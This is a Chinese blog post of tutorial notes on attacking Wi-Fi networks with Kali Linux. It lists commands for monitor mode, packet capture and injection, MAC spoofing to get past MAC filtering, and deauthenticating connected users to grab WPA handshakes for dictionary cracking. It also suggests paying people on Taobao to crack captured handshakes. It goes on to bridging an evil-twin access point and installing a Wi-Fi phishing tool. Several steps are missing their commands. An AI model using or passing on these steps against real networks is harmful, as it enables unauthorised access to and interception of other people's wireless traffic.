嵌入式Kali 渗透

5.无线渗透 wpa wifi 破解

2018-07-18  本文已影响120人  杰罗xr

Ess 人类可记忆 的名字(wifi名字)
Bss 无线ap 的mac地址
破解WiFi看下面 破解wpa


iwconfig
iw list
iw dev wlan0mon set channel 4更改所在信道为4
iwlist wlan0mon channel 查看 wlan0mon 所在的信道 所在信道要与 要抓的信道在同一信道
iw dev wlan0 scan | grep SSID 扫描附 近的 ap (WiFi)
iw dev wlan0 scan | egrep "DS\ Parameter\ set|SSID" 可以筛选出在地基信道
iw dev wlan0 interface add wlan0mon type monitor 添加可以监听的网卡接口 注意wlan0, 是你自己的无线网卡 用iwconfig 可以查看 可能是wlan1 或者 wlan2 之后就可以在 iwconfig 里看到 wlan0mon (如果看不到 尝试 关闭service network-manager stop服务) 然后使用ifconfig wlan0mon启动 ,之后就可以用wireshark 进行抓包
iw dev wlan0mon interface del 删除添加的网卡接口


service network-manager stop 首先先关闭 这个服务
airmon-ng check 可以检查出有可能冲突的进程
airmon-ng check kill可以杀掉全部冲突进程
airmon-ng start wlan0 6 在wlan0上启动侦听 这个数字6就是启动在哪个信道上监听 可以不写 和上面iw的命令没有区别
iwlist wlan0mon channel 查看当前在第几信道
airmon-ng stop wlan0mon关闭监听 然后再用 ifconfig wlan0 up启动无线网卡 再使用 service network-manager start进行服务启动 可以进行正常的使用

airodump-ng 是 airo - dump

airodump-ng wlan0mon 抓包 默认抓取所有信道的 包 airodump-ng wlan0 -c 1这个数字1 代表抓取1信道的包
airodump-ng wlan0mon -c 1 --bssid 00:11:22:33:44:55 -w filename.cap --ivs 后面这些 每一个都是可以省略的 --bssid 代表 只抓取这个 ap的包 -w 文件名 可以把抓到的包 保存成文件 --ivs 代表只抓wep 加密的包

抓到的包
每一列代表的意思
解释
排错

aireplay-ng

包注入 注意让自己和目标在同一信道

如果发包是 要伪造源地址 可以用 macchanger -m 00:11:22:33:44:55 wlan0mon 将自己的mac 地址 与要伪造的地址改成相同

aireplay-ng -9 wlan0mon 注包测试 如果不成功 可以运行ifconfig wlan0mon up 试试

aireplay

连接 使用了mac 绑定的WiFi 把自己的网卡mac 改成能登录的mac 方法如下

这时网络中会有两个相同mac 的设备 会有丢包
如果WiFi 只使用mac地址过滤没有密码你就可以连接上了,可以配合破解的WiFi密码 进行使用破解的WiFi密码 加上mac地址伪造连接有密码有mac绑定的 WiFi

破解wep加密


比较简单 只要抓到足够多的包就能完全破解

破解wpa加密


思路 暴力破解
抓到一位用户的握手包
如果有用户已经连接上 可以使他断线重连 就能得到握手包(千万别傻等别人连接)
然后将大量的密码字典放进握手包里计算看看是不是对的密码 使用这种方式要用显卡跑会快很多,也可以去淘宝找人跑包

无线攻击


开启一个wifi热点

使用上面这个命令后 用 ifconfig -a可以查看到 多出了一个网卡 叫at0 下一步就是把at0 和 eth0 (就是连接外网的网卡 如果是用WiFi 就是wlan0 之类的) 桥接起来

apt-get install bridge-utils 桥接网卡工具包

桥接网卡命令
brctl addbr bridge 添加一个网桥接口 bridge 是名字 随便命名
之后通过多出来的网卡接口 bridge 把at0 和eth0 连接起来命令为
brctl addif bridge eth0 注意命令是 addif ,bridge 是之前创建的名字 eth0 是连接外网 网卡的名字
brctl addif bridge at0 这样把两个网卡都和 bridge 关联

桥接接口的 成员接口 就是eth0 和 at0 是不能有ip 地址的 所以分别使用
ifconfig eth0 0.0.0.0 up
ifconfig at0 0.0.0.0 up
来启动这两个接口 IP地址是0.0.0.0
再使用
ifconfig bridge 192.168.1.10 up
给上面创建的桥接网卡 一个ip地址 并up起来 这个IP地址 使用 上面eth0 的IP地址
添加一个网关 目的是让 连接到黑客开启的WiFi 的用户可以直接到现实路由中 获取ip地址
netstat -nr
route add -net 0.0.0.0 netmask 0.0.0.0 gw 192.168.1.1

启动IP 转发
echo 1 > /proc/sys/net/ipv4/ip_forward
cat /proc/sys/net/ipv4/ip_forward 确认修改完成

WIFI 钓鱼工具

git clone https://github.com/P0cL4bs/3vilTwinAttacker.git
cd 3vilTwinAttacker
chmod +x installer.sh
./installer.sh --install
这样就安装成功了
启动工具使用
wifi-pumpkin 不是之前的3vilTwinAttacker 看最后安装完成的命令行 红色的字 执行这个命令 在终端

上一篇 下一篇

猜你喜欢

热点阅读